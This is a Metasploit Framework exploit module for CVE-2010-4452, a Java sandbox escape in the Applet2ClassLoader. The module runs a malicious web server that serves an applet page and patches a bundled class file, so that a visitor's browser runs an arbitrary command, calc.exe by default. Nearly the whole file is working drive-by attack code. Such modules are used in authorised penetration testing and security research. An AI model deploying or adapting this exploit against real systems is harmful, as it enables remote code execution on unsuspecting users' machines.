##
# $Id: java_codebase_trust.rb 11983 2011-03-16 05:01:29Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize( info = {} )
    super( update_info( info,
      'Name'          => 'Sun Java Applet2ClassLoader Remote Code Execution Exploit',
      'Description'   => %q{
          This module exploits a vulnerability in Java Runtime Environment
        that allows an attacker to escape the Java Sandbox. By supplying a 
        codebase that points at a trusted directory and a code that is a URL that
        does not contain an dots an applet can run without the sandbox.

        The vulnerability affects version 6 prior to update 24.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'Frederic Hoguin', # Discovery, PoC
          'jduck'            # Metasploit module
        ],
      'Version'       => '$Revision: 11983 $',
      'References'    =>
        [
          [ 'CVE', '2010-4452' ],
          # [ 'OSVDB', '' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-084/' ],
          [ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ]
        ],
      'Platform'      => [ 'java', 'win' ],
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          # OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23
          # FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23
          [ 'Automatic (no payload)', { } ]
=begin
          [ 'Windows x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
            }
          ],
          [ 'Generic (Java Payload)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java',
            }
          ],
=end
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 15 2011'
      ))
  
    register_options(
      [
        OptString.new('CMD', [ false,  "Command to run.", "calc.exe"]),
        OptString.new('LIBPATH', [ false,  "The codebase path to use (privileged)",
          "C:\\Program Files\\java\\jre6\\lib\\ext"]),
      ], self.class)
  end

  def exploit
    path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR)
    @java_class = nil
    File.open(path, "rb") { |fd|
      @java_class = fd.read(fd.stat.size)
    }
    if not @java_class
      raise RuntimeError, "Unable to load java class"
    end

    super
  end

  def on_request_uri(cli, request)
    #print_status("Received request: #{request.uri}")

    jpath = get_uri(cli)
    #print_status(jpath)

    # Do what get_uri does so that we can replace it in the string
    host = Rex::Socket.source_address(cli.peerhost)
    host_num = Rex::Socket.addr_aton(host).unpack('N').first

    codebase = "file:" + datastore['LIBPATH']
    code_url = jpath.sub(host, host_num.to_s)

    cmd = datastore['CMD']
    cmd_off = 0xb4

    cn_off = 0xfc

    case request.uri

    when /\.class$/
      #p = regenerate_payload(cli)

      print_status("Sending class file to #{cli.peerhost}:#{cli.peerport}...")

      cls = @java_class.dup
      cls[cmd_off,2] = [cmd.length].pack('n')
      cls[cmd_off+2,8] = cmd

      cn_off += (cmd.length - 8)  # the original length was 8 (calc.exe)
      cls[cn_off,2] = [code_url.length].pack('n')
      cls[cn_off+2,7] = code_url

      #File.open('ughz.class', 'wb') { |fd| fd.write cls }

      send_response(cli, cls, { 'Content-Type' => "application/octet-stream" })
      handler(cli)

    else
      html = <<-EOS
<html>
<body>
<applet codebase="#{codebase}" code="#{code_url}" />
</body>
</html>
EOS
      print_status("Sending HTML file to #{cli.peerhost}:#{cli.peerport}...")
      send_response_html(cli, html)
      handler(cli)
    end

  end

end